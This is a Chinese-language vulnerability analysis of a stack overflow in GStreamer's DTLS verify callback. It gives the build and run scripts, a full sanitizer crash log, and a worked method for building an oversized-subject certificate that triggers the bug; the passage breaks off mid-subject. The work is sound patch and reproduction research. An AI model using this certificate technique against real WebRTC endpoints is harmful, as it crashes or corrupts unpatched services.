CVE-2026-59692 是一个出现在 GStreamer gst-plugins-bad DTLS 连接实现中的栈缓冲区溢出漏洞。它的问题并不藏在复杂的协议状态机里,也不在某个冷门编解码器分支上,说穿了就是一次非常典型、也非常危险的内存安全失误: 开发者把攻击者可影响的长度值,直接交给了一个固定大小的栈缓冲区。

它的触发路径清楚,根因也足够单纯,补丁差异还能直接落到代码层面,而且可以在本地隔离环境里稳定复现。相比单纯复述公告,真正值得展开的是三件事: 恶意证书是怎么走进脆弱路径的,旧代码为什么必然会越界,以及补丁到底修掉了什么结构性问题。

本文基于仓库内已经固化好的复现环境和分析材料,对 GStreamer 1.28.4 与 1.28.5 进行对比,先跑通一次最小复现,再回到底层代码逐行拆解漏洞根因。

1. 漏洞速览

先用一句话概括这个漏洞: 攻击者只要能向启用了 DTLS-SRTP / WebRTC 的 GStreamer 端点发起 DTLS 握手,就可以递送一个带超长 Subject DN 的证书,让证书校验回调把超过 2048 字节的数据写进固定大小的栈数组,最终触发栈缓冲区溢出。

漏洞位于:

  • 组件: gst-plugins-bad
  • 文件: subprojects/gst-plugins-bad/ext/dtls/gstdtlsconnection.c
  • 函数: openssl_verify_callback()
  • 漏洞类型: CWE-121 / Stack-based Buffer Overflow

公开资料里,NVD / CVE 记录当前更偏向把已验证影响表述为拒绝服务,也就是目标进程在握手期间崩溃;而 GStreamer 官方公告还明确提到数据损坏以及潜在更高影响的可能性。无论采用哪一种口径,从代码形态看,这都不是一个“纯日志问题”或“轻量异常处理缺陷”,而是一次真实的越界写。旧代码中最关键的危险语句只有几行:

gchar buffer[2048];
gint len;

len = X509_NAME_print_ex(...);
BIO_read(bio, buffer, len);
buffer[len] = '\0';

只要 len > 2048,越界写就是确定发生的。1.28.5 是该问题的首个官方修复版本,因此对研究者来说,最有价值的对比就是 1.28.4 与 1.28.5。

2. 为什么这个漏洞值得研究

很多漏洞适合做情报汇总,但不一定适合拆成技术分析长文。CVE-2026-59692 刚好相反,它吸引人的地方不在“分数有多高”,而在于样本足够干净。

它的入口就在 DTLS 握手阶段。攻击者不需要先通过应用层认证,也不需要深入更复杂的媒体处理链路,只要目标应用会处理来自对端的证书,就有机会把恶意输入送到脆弱函数里。这个入口不属于典型 Web 服务路径,所以也更容易被业务开发者低估。

再往下看,根因也很单纯。它不是多个边界条件叠加出来的偶发崩溃,而是固定栈数组承接不受信任的真实长度时完全缺了上界检查。对做代码审计、补丁分析、规则抽象的人来说,这种样本特别有价值,因为它很容易沉淀成可迁移的审计模式。

更难得的是,这个漏洞已经具备完整的研究闭环:

  • 有明确的脆弱版本和修复版本
  • 有可稳定复现的最小实验
  • 有清晰的修复提交
  • 有可抽象的 CodeQL 查询思路

这个案例的价值不只在于复现单个 CVE,也在于沉淀一套判断“长度返回值驱动固定缓冲区写入”风险的方法。

3. 实验环境与版本边界

为了把复现过程尽量收敛到漏洞本身,本文不依赖浏览器或完整 WebRTC 应用,而是直接使用仓库中已经搭好的最小化容器环境。分析时选用的两个核心版本分别是:

  • 脆弱版: GStreamer 1.28.4
  • 修复版: GStreamer 1.28.5

其中 1.28.5 是截至 2026-08-10 已知的首个官方修复版本,因此这个对比最能直接体现补丁效果。

当前仓库里与本文最相关的目录如下:

  • docker/: 最小复现实验的镜像定义和补丁
  • scripts/: 证书生成、容器执行、CodeQL 建库脚本
  • poc/: 触发漏洞的最小 PoC
  • artifacts/: 已经生成好的复现日志、结果和恶意证书
  • analysis/: CodeQL 查询、数据库和结果文件

复现链路中实际使用的配置、脚本、运行结果和 CodeQL 文件,均在对应章节内嵌展示。

3.1 实际使用的 docker-compose.yml

这份编排文件本身很小,但它决定了整篇文章的对照实验结构:同一份环境、同一份 PoC、同一份恶意证书,只切换 GST_VERSION 和 EXPECT_OVERFLOW。

services:
  vuln:
    build:
      context: .
      dockerfile: docker/Dockerfile
      args:
        GST_VERSION: 1.28.4
    environment:
      EXPECT_OVERFLOW: "1"
    volumes:
      - ./artifacts/vuln:/artifacts
  fixed:
    build:
      context: .
      dockerfile: docker/Dockerfile
      args:
        GST_VERSION: 1.28.5
    environment:
      EXPECT_OVERFLOW: "0"
    volumes:
      - ./artifacts/fixed:/artifacts

3.2 实际使用的 docker/Dockerfile

这份镜像定义负责把实验条件固定下来:拉取指定版本的 GStreamer、显式打开 AddressSanitizer、编译 PoC、把容器入口锁定为统一的复现脚本。它的完整内容如下:

FROM ubuntu:24.04

ARG GST_VERSION=1.28.4

ENV DEBIAN_FRONTEND=noninteractive
ENV GST_PREFIX=/opt/gst

RUN apt-get update && apt-get install -y \
    build-essential \
    ca-certificates \
    cmake \
    dpkg-dev \
    flex \
    bison \
    git \
    libglib2.0-dev \
    libsrtp2-dev \
    libssl-dev \
    openssl \
    pkg-config \
    python3 \
    python3-pip \
    && rm -rf /var/lib/apt/lists/*

RUN python3 -m pip install --break-system-packages meson ninja

WORKDIR /opt/src

RUN git clone --depth 1 --branch "${GST_VERSION}" https://github.com/GStreamer/gstreamer.git

WORKDIR /opt/src/gstreamer

RUN meson subprojects download libnice

COPY docker/patches/0001-gst-plugins-bad-skip-docs-when-doc-disabled.patch /tmp/skip-docs.patch

RUN git apply /tmp/skip-docs.patch

RUN export DEB_HOST_MULTIARCH="$(dpkg-architecture -qDEB_HOST_MULTIARCH)" && \
    meson setup build \
      --prefix="${GST_PREFIX}" \
      --libdir="lib/${DEB_HOST_MULTIARCH}" \
      --libexecdir="libexec" \
      -Dauto_features=disabled \
      -Dbase=enabled \
      -Dbad=enabled \
      -Dgood=disabled \
      -Dugly=disabled \
      -Dlibav=disabled \
      -Ddevtools=enabled \
      -Dges=disabled \
      -Drtsp_server=disabled \
      -Dgst-examples=disabled \
      -Dpython=disabled \
      -Dtests=disabled \
      -Dexamples=disabled \
      -Dintrospection=disabled \
      -Ddoc=disabled \
      -Dgtk_doc=disabled \
      -Dgstreamer:check=enabled \
      -Dwebrtc=enabled \
      -Dlibnice=enabled \
      -Dgst-plugins-bad:dtls=enabled \
      -Dgst-plugins-bad:srtp=enabled \
      -Dgst-plugins-bad:sctp=enabled \
      -Db_sanitize=address \
      -Dbuildtype=debug && \
    ninja -C build -j"$(nproc)" && \
    ninja -C build install

COPY poc/repro_dtls_overflow.c /opt/repro/repro_dtls_overflow.c
COPY scripts/generate_malicious_cert.sh /opt/repro/generate_malicious_cert.sh
COPY scripts/container_run_repro.sh /opt/repro/container_run_repro.sh

RUN chmod +x /opt/repro/generate_malicious_cert.sh /opt/repro/container_run_repro.sh && \
    export DEB_HOST_MULTIARCH="$(dpkg-architecture -qDEB_HOST_MULTIARCH)" && \
    export PKG_CONFIG_PATH="${GST_PREFIX}/lib/${DEB_HOST_MULTIARCH}/pkgconfig:${GST_PREFIX}/share/pkgconfig" && \
    gcc -fsanitize=address -O0 -g /opt/repro/repro_dtls_overflow.c \
      -o /opt/repro/repro_dtls_overflow \
      $(pkg-config --cflags --libs gstreamer-check-1.0 gstreamer-1.0 glib-2.0 gobject-2.0) \
      -lssl -lcrypto

WORKDIR /artifacts

ENTRYPOINT ["/opt/repro/container_run_repro.sh"]

3.3 构建辅助补丁

复现环境额外应用了一个很小的构建补丁。它不是漏洞修复补丁,只用于让 -Ddoc=disabled 的最小构建路径跳过 docs 子目录:

diff --git a/subprojects/gst-plugins-bad/meson.build b/subprojects/gst-plugins-bad/meson.build
index b3ce0b7000..e18b4f7b20 100644
--- a/subprojects/gst-plugins-bad/meson.build
+++ b/subprojects/gst-plugins-bad/meson.build
@@ -641,7 +641,9 @@ meson.add_dist_script('scripts/dist-common-files.py', meson.project_version())
   meson.add_dist_script('scripts/dist-common-files.py', meson.project_version())
 endif
 
-subdir('docs')
+if not get_option('doc').disabled()
+  subdir('docs')
+endif
 
 plugin_names = []
 gst_plugins = []

复现实验有两个关键约束。

一是容器构建时显式启用了 AddressSanitizer。只看“进程是否崩溃”并不足以定位根因,而 ASan 可以同时给出越界类型、写入大小、命中函数和目标栈对象。

二是 PoC 使用 gst_harness 配合 dtlsenc / dtlsdec 在用户态驱动 DTLS 握手。这样可以避开完整流媒体环境、浏览器行为和网络抖动等额外变量,让输入、握手和崩溃点之间的因果关系保持清晰。

4. 先跑通一次最小复现

先确认复现结果稳定成立,再回头分析源码,更容易把后续论证建立在已验证事实之上。

本文对应的最小运行命令如下:

./scripts/run_docker_repro.sh vuln
./scripts/run_docker_repro.sh fixed

第一条命令会构建并运行脆弱版 1.28.4;第二条命令会构建并运行修复版 1.28.5。对应的结果文件已经给出了最简明的判定:

  • artifacts/vuln/result.txt: expected sanitizer crash observed
  • artifacts/fixed/result.txt: fixed build completed without sanitizer findings

两层执行脚本如下。宿主机侧的 scripts/run_docker_repro.sh 负责挑选 vuln / fixed / all 三种模式:

#!/usr/bin/env bash
set -euo pipefail

target="${1:-all}"

run_one() {
  local service="$1"
  mkdir -p "artifacts/${service}"
  docker compose build "${service}"
  docker compose run --rm "${service}"
}

case "${target}" in
  vuln)
    run_one vuln
    ;;
  fixed)
    run_one fixed
    ;;
  all)
    run_one vuln
    run_one fixed
    ;;
  *)
    echo "usage: $0 [vuln|fixed|all]" >&2
    exit 2
    ;;
esac

容器内真正作为入口执行的是 scripts/container_run_repro.sh。它会先准备 GStreamer 与 ASan 运行环境,再生成恶意证书,随后运行 PoC,并根据日志里是否出现 AddressSanitizer: stack-buffer-overflow 来写入最终结果文件:

#!/usr/bin/env bash
set -euo pipefail

multiarch="$(dpkg-architecture -qDEB_HOST_MULTIARCH)"

export GST_PLUGIN_SYSTEM_PATH_1_0=""
export GST_PLUGIN_PATH_1_0="/opt/gst/lib/${multiarch}/gstreamer-1.0"
export GST_PLUGIN_SCANNER_1_0="/opt/gst/libexec/gstreamer-1.0/gst-plugin-scanner"
export GST_PLUGIN_SCANNER="/opt/gst/libexec/gstreamer-1.0/gst-plugin-scanner"
export GST_REGISTRY="/tmp/gst-registry.bin"
export GST_REGISTRY_FORK="no"
export LD_LIBRARY_PATH="/opt/gst/lib/${multiarch}:${LD_LIBRARY_PATH:-}"
export PATH="/opt/gst/bin:${PATH}"
export ASAN_OPTIONS="detect_leaks=0:abort_on_error=1:halt_on_error=1:allocator_may_return_null=1"

mkdir -p /artifacts

pem_path="/artifacts/malicious-client.pem"
log_path="/artifacts/repro.log"

/opt/repro/generate_malicious_cert.sh "${pem_path}"

set +e
/opt/repro/repro_dtls_overflow "${pem_path}" 2>&1 | tee "${log_path}"
rc=${PIPESTATUS[0]}
set -e

if [[ "${EXPECT_OVERFLOW:-1}" == "1" ]]; then
  if grep -q "AddressSanitizer: stack-buffer-overflow" "${log_path}"; then
    echo "expected sanitizer crash observed" | tee /artifacts/result.txt
    exit 0
  fi

  echo "expected sanitizer crash was not observed" | tee /artifacts/result.txt
  exit 1
fi

if [[ "${rc}" -eq 0 ]]; then
  echo "fixed build completed without sanitizer findings" | tee /artifacts/result.txt
  exit 0
fi

echo "fixed build exited with rc=${rc}" | tee /artifacts/result.txt
exit 1

4.1 脆弱版本发生了什么

脆弱版本日志的前几行已经足够说明问题:

formatted subject length via X509_NAME_print_ex: 4513
waiting for DTLS handshake to finish
ERROR: AddressSanitizer: stack-buffer-overflow
openssl_verify_callback ../subprojects/gst-plugins-bad/ext/dtls/gstdtlsconnection.c:1124
WRITE of size 4513

​

图 1:实际容器终端输出中可以同时看到超长 Subject 长度、WRITE of size 4513,以及命中 gstdtlsconnection.c:1124 的 ASan 报告。

这几行已经足以说明关键事实: 输入长度稳定达到 4513 字节;崩溃发生在 DTLS 握手完成前;ASan 明确把越界写定位到 openssl_verify_callback(),写入大小就是 4513。这说明固定栈对象是在目标函数内部被过长数据直接写坏的。

对应的 artifacts/vuln/result.txt 只有一行:

expected sanitizer crash observed

而脆弱版的 artifacts/vuln/repro.log 一次实际运行示例如下。像栈地址这类运行时细节会随环境变化,但把整份日志直接贴出来,仍然比只摘几行更能说明“4513 字节写入”“命中函数”“栈对象布局”三者为什么是同一件事:

formatted subject length via X509_NAME_print_ex: 4513
waiting for DTLS handshake to finish
=================================================================
==23==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffff9e98e840 at pc 0xffffa6c45124 bp 0xffff9f69af60 sp 0xffff9f69a740
WRITE of size 4513 at 0xffff9e98e840 thread T3 (client_enc:src)
    #0 0xffffa6c45120 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
    #1 0xffffa5f8ccec  (/lib/aarch64-linux-gnu/libcrypto.so.3+0xeccec) (BuildId: 514b55599babd8fc3137aa322fedf77b8049d30b)
    #2 0xffffa5f83a98  (/lib/aarch64-linux-gnu/libcrypto.so.3+0xe3a98) (BuildId: 514b55599babd8fc3137aa322fedf77b8049d30b)
    #3 0xffffa5f816cc  (/lib/aarch64-linux-gnu/libcrypto.so.3+0xe16cc) (BuildId: 514b55599babd8fc3137aa322fedf77b8049d30b)
    #4 0xffffa5f820e4 in BIO_read (/lib/aarch64-linux-gnu/libcrypto.so.3+0xe20e4) (BuildId: 514b55599babd8fc3137aa322fedf77b8049d30b)
    #5 0xffffa23f2940 in openssl_verify_callback ../subprojects/gst-plugins-bad/ext/dtls/gstdtlsconnection.c:1124
    #6 0xffffa6144020  (/lib/aarch64-linux-gnu/libcrypto.so.3+0x2a4020) (BuildId: 514b55599babd8fc3137aa322fedf77b8049d30b)
    #7 0xffffa6144dc4 in X509_verify_cert (/lib/aarch64-linux-gnu/libcrypto.so.3+0x2a4dc4) (BuildId: 514b55599babd8fc3137aa322fedf77b8049d30b)
    #8 0xffffa634bf28  (/lib/aarch64-linux-gnu/libssl.so.3+0x2bf28) (BuildId: 4e6281915ee26e90a40129de2cb719cf97f1b8a2)
    #9 0xffffa639ebac  (/lib/aarch64-linux-gnu/libssl.so.3+0x7ebac) (BuildId: 4e6281915ee26e90a40129de2cb719cf97f1b8a2)
    #10 0xffffa6389bac  (/lib/aarch64-linux-gnu/libssl.so.3+0x69bac) (BuildId: 4e6281915ee26e90a40129de2cb719cf97f1b8a2)
    #11 0xffffa63745c8  (/lib/aarch64-linux-gnu/libssl.so.3+0x545c8) (BuildId: 4e6281915ee26e90a40129de2cb719cf97f1b8a2)
    #12 0xffffa6348dbc  (/lib/aarch64-linux-gnu/libssl.so.3+0x28dbc) (BuildId: 4e6281915ee26e90a40129de2cb719cf97f1b8a2)
    #13 0xffffa6355e10 in SSL_read (/lib/aarch64-linux-gnu/libssl.so.3+0x35e10) (BuildId: 4e6281915ee26e90a40129de2cb719cf97f1b8a2)
    #14 0xffffa23ee9ec in gst_dtls_connection_process ../subprojects/gst-plugins-bad/ext/dtls/gstdtlsconnection.c:674
    #15 0xffffa23f6cbc in process_buffer ../subprojects/gst-plugins-bad/ext/dtls/gstdtlsdec.c:504
    #16 0xffffa23f7f5c in sink_chain ../subprojects/gst-plugins-bad/ext/dtls/gstdtlsdec.c:633
    #17 0xffffa681e280 in gst_pad_chain_data_unchecked ../subprojects/gstreamer/gst/gstpad.c:4560
    #18 0xffffa6820f64 in gst_pad_push_data ../subprojects/gstreamer/gst/gstpad.c:4853
    #19 0xffffa6822274 in gst_pad_push ../subprojects/gstreamer/gst/gstpad.c:4972
    #20 0xffffa23fc708 in src_task_loop ../subprojects/gst-plugins-bad/ext/dtls/gstdtlsenc.c:543
    #21 0xffffa68c41ec in gst_task_func ../subprojects/gstreamer/gst/gsttask.c:404
    #22 0xffffa68c71c4 in default_func ../subprojects/gstreamer/gst/gsttaskpool.c:70
    #23 0xffffa648585c  (/lib/aarch64-linux-gnu/libglib-2.0.so.0+0x9585c) (BuildId: d0e89b6e877018ef77a15d9f851c171759683b8d)
    #24 0xffffa647f4c4  (/lib/aarch64-linux-gnu/libglib-2.0.so.0+0x8f4c4) (BuildId: d0e89b6e877018ef77a15d9f851c171759683b8d)
    #25 0xffffa6bbf3d0 in asan_thread_start ../../../../src/libsanitizer/asan/asan_interceptors.cpp:234
    #26 0xffffa5d65828  (/lib/aarch64-linux-gnu/libc.so.6+0x85828) (BuildId: 54ae5337044aaabab70d65e0c3444f7e4735e059)
    #27 0xffffa5dcb798  (/lib/aarch64-linux-gnu/libc.so.6+0xeb798) (BuildId: 54ae5337044aaabab70d65e0c3444f7e4735e059)

Address 0xffff9e98e840 is located in stack of thread T3 (client_enc:src) at offset 2112 in frame
    #0 0xffffa23f2608 in openssl_verify_callback ../subprojects/gst-plugins-bad/ext/dtls/gstdtlsconnection.c:1096

  This frame has 2 object(s):
    [48, 52) 'accepted' (line 1101)
    [64, 2112) 'buffer' (line 1117) <== Memory access at offset 2112 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
Thread T3 (client_enc:src) created by T1 here:
    #0 0xffffa6c3edfc in pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:245
    #1 0xffffa64b0784  (/lib/aarch64-linux-gnu/libglib-2.0.so.0+0xc0784) (BuildId: d0e89b6e877018ef77a15d9f851c171759683b8d)
    #2 0xffffa6480380  (/lib/aarch64-linux-gnu/libglib-2.0.so.0+0x90380) (BuildId: d0e89b6e877018ef77a15d9f851c171759683b8d)
    #3 0xffffa647f4c4  (/lib/aarch64-linux-gnu/libglib-2.0.so.0+0x8f4c4) (BuildId: d0e89b6e877018ef77a15d9f851c171759683b8d)
    #4 0xffffa6bbf3d0 in asan_thread_start ../../../../src/libsanitizer/asan/asan_interceptors.cpp:234
    #5 0xffffa5d65828  (/lib/aarch64-linux-gnu/libc.so.6+0x85828) (BuildId: 54ae5337044aaabab70d65e0c3444f7e4735e059)
    #6 0xffffa5dcb798  (/lib/aarch64-linux-gnu/libc.so.6+0xeb798) (BuildId: 54ae5337044aaabab70d65e0c3444f7e4735e059)

Thread T1 created by T0 here:
    #0 0xffffa6c3edfc in pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:245
    #1 0xffffa64b0784  (/lib/aarch64-linux-gnu/libglib-2.0.so.0+0xc0784) (BuildId: d0e89b6e877018ef77a15d9f851c171759683b8d)
    #2 0xffffa6477604 in g_thread_new (/lib/aarch64-linux-gnu/libglib-2.0.so.0+0x87604) (BuildId: d0e89b6e877018ef77a15d9f851c171759683b8d)
    #3 0xffffa64830e8 in g_thread_pool_new_full (/lib/aarch64-linux-gnu/libglib-2.0.so.0+0x930e8) (BuildId: d0e89b6e877018ef77a15d9f851c171759683b8d)
    #4 0xffffa23ea138 in gst_dtls_connection_init ../subprojects/gst-plugins-bad/ext/dtls/gstdtlsconnection.c:208
    #5 0xffffa65b55b4 in g_type_create_instance (/lib/aarch64-linux-gnu/libgobject-2.0.so.0+0x455b4) (BuildId: e55b57e7e21637d2dc1dc9a6f4be84d181d6f9ab)
    #6 0xffffa659945c  (/lib/aarch64-linux-gnu/libgobject-2.0.so.0+0x2945c) (BuildId: e55b57e7e21637d2dc1dc9a6f4be84d181d6f9ab)
    #7 0xffffa659b634 in g_object_new_valist (/lib/aarch64-linux-gnu/libgobject-2.0.so.0+0x2b634) (BuildId: e55b57e7e21637d2dc1dc9a6f4be84d181d6f9ab)
    #8 0xffffa659ba10 in g_object_new (/lib/aarch64-linux-gnu/libgobject-2.0.so.0+0x2ba10) (BuildId: e55b57e7e21637d2dc1dc9a6f4be84d181d6f9ab)
    #9 0xffffa23f9114 in create_connection ../subprojects/gst-plugins-bad/ext/dtls/gstdtlsdec.c:836
    #10 0xffffa23f540c in gst_dtls_dec_set_property ../subprojects/gst-plugins-bad/ext/dtls/gstdtlsdec.c:289
    #11 0xffffa6598c90  (/lib/aarch64-linux-gnu/libgobject-2.0.so.0+0x28c90) (BuildId: e55b57e7e21637d2dc1dc9a6f4be84d181d6f9ab)
    #12 0xffffa659bf38 in g_object_set_valist (/lib/aarch64-linux-gnu/libgobject-2.0.so.0+0x2bf38) (BuildId: e55b57e7e21637d2dc1dc9a6f4be84d181d6f9ab)
    #13 0xffffa659c3bc in g_object_set (/lib/aarch64-linux-gnu/libgobject-2.0.so.0+0x2c3bc) (BuildId: e55b57e7e21637d2dc1dc9a6f4be84d181d6f9ab)
    #14 0xaaaacd5c3080 in main /opt/repro/repro_dtls_overflow.c:167
    #15 0xffffa5d084c0  (/lib/aarch64-linux-gnu/libc.so.6+0x284c0) (BuildId: 54ae5337044aaabab70d65e0c3444f7e4735e059)
    #16 0xffffa5d08594 in __libc_start_main (/lib/aarch64-linux-gnu/libc.so.6+0x28594) (BuildId: 54ae5337044aaabab70d65e0c3444f7e4735e059)
    #17 0xaaaacd5c24ec in _start (/opt/repro/repro_dtls_overflow+0x24ec) (BuildId: b0e0d97192d275595e955dbabc3c489f052cbb94)

SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy
Shadow bytes around the buggy address:
  0xffff9e98e580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xffff9e98e600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xffff9e98e680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xffff9e98e700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xffff9e98e780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0xffff9e98e800: 00 00 00 00 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3
  0xffff9e98e880: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
  0xffff9e98e900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xffff9e98e980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xffff9e98ea00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xffff9e98ea80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==23==ABORTING

从 artifacts/vuln/repro.log 可以看到更完整的调用栈信息,其中最关键的一段是:

#4  BIO_read
#5  openssl_verify_callback ../subprojects/gst-plugins-bad/ext/dtls/gstdtlsconnection.c:1124
...
This frame has 2 object(s):
  [64, 2112) 'buffer' (line 1117) <== Memory access at offset 2112 overflows this variable

这段输出已经把危险调用链固定在 BIO_read -> openssl_verify_callback -> buffer[2048] 上,后续源码分析只需要把边界为什么失守讲清楚即可。

4.2 修复版本对照

单独展示“脆弱版本崩了”并不足够;同一份攻击输入在修复版本上的表现,才能把补丁效果钉实。

修复版日志非常短:

formatted subject length via X509_NAME_print_ex: 4513
waiting for DTLS handshake to finish
handshake completed, verifying post-handshake data path
reproduction program completed without sanitizer findings

​

图 2:修复版面对同一份恶意证书时仍然打印 4513,但握手和后续数据路径都正常完成,没有再触发越界告警。

最关键的是第一行和第三行同时成立。修复版处理的仍然是同一份超长 Subject DN,没有靠缩短输入绕开问题;同时握手完成后的数据 round-trip 也走通了。这说明补丁不是简单关闭路径,而是在保留原有功能语义的前提下修掉了越界根因。

修复版的 artifacts/fixed/result.txt 同样只有一行:

fixed build completed without sanitizer findings

对应的 artifacts/fixed/repro.log 全文如下:

formatted subject length via X509_NAME_print_ex: 4513
waiting for DTLS handshake to finish
handshake completed, verifying post-handshake data path
reproduction program completed without sanitizer findings

4.3 为什么这个 PoC 设计更稳定

仓库中的 PoC 没有依赖外部浏览器,也没有要求完整跑起一个 WebRTC 业务场景,而是直接复用了 GStreamer 内部 dtlsenc / dtlsdec 元素及 gst_harness。这有三个现实好处。

一是变量更少。我们关心的是证书处理逻辑,不是 ICE、浏览器差异、前端协商流程。

二是崩溃点更集中。恶意证书通过 pem 属性注入,随后在握手期间自然流入 openssl_verify_callback(),中间没有太多无关噪音。

三是便于做修复前后对比。相同的 PoC、相同的证书、相同的运行方式,唯一变化就是 GStreamer 版本和补丁状态。

5. 触发链路:恶意证书如何走到溢出点

复现跑通之后,接下来需要回答的问题是:攻击者输入到底是怎样进入脆弱点的。

5.1 为什么不能只用一个超长 CN

直接把单个 CN 拉到几千字节在实践里通常行不通。OpenSSL 对单个 CN 的长度有直接约束;在本地 openssl req -subj 路径里,当 CN 超过 64 个字符时,就会报出 ASN1_mbstring_ncopy:string too long ... maxsize=64,证书会在生成阶段被拦下。

所以仓库里的做法不是把一个字段无限拉长,而是叠多个合法的相对可分辨名字段,也就是多个 OU=。默认构造思路近似如下:

/CN=test/OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA00/OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA01/...

这种方式的本质是: 不去突破“单个字段”的限制,而是通过“字段数量”把最终 Subject DN 的格式化结果整体拉长。结果也很直接,在当前默认参数下,X509_NAME_print_ex() 打印出的 Subject 长度稳定达到 4513 字节,已经远超脆弱代码中的 2048 字节栈缓冲区。

恶意证书的 Subject 文本如下,对应 artifacts/vuln/malicious-client.subject.txt 的实际内容:

subject=CN = test, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA00, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA01, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA02, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA03, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA04, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA05, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA06, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA07, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA08, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA09, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA10, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA12, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA13, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA14, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA15, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA16, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA17, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA18, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA19, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA20, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA21, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA22, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA23, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA24, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA25, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA26, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA27, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA28, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA29, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA30, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA31, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA32, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA33, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA34, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA35, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA36, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA37, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA38, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA39, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA40, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA41, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA42, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA43, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA44, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA45, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA46, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA47, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA48, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA49, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA50, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA51, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA52, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA53, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA54, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA55, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA56, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA57, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA58, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA59, OU = 